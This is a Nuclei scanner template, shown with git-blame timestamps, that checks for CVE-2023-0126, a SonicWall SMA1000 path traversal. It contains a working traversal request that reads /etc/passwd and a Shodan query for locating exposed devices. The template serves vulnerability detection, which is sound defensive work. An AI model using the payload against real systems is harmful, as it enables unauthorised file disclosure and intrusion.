2023-06-27 20:15:29 +00:00
id : CVE-2023-0126
info :
name : SonicWall SMA1000 LFI
author : tess
severity : high
description : |
Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
2023-06-27 20:15:29 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-0126
- https://github.com/advisories/GHSA-mr28-27qx-phg3
2023-07-11 19:49:27 +00:00
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
2023-06-27 20:15:29 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2023-0126
cwe-id : CWE-22
2024-01-14 13:49:27 +00:00
epss-score : 0.03857
epss-percentile : 0.91024
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:o:sonicwall:sma1000_firmware:12.4.2:*:*:*:*:*:*:*
2023-06-27 20:15:29 +00:00
metadata :
2023-06-29 04:57:55 +00:00
verified : "true"
2023-09-06 11:43:37 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : sonicwall
product : sma1000_firmware
2023-09-06 11:43:37 +00:00
shodan-query : title:"Appliance Management Console Login"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,sonicwall,lfi,sma1000
2023-06-27 20:15:29 +00:00
http :
- method : GET
path :
- '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'
matchers-condition : and
matchers :
- type : word
part : header
words :
- content/unknown
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- "root:[x*]:0:0"
2023-06-27 20:15:29 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4a0a00473045022100f38431ccf1845254ef4cec2d6669a1fabe785923f988c44934e26e21ab1ad868022027b10f932c802a765bf2eb73243f63f18a4e8a48851ccc41c93f8147596b340e:922c64590222798bb761d5b6d8e72950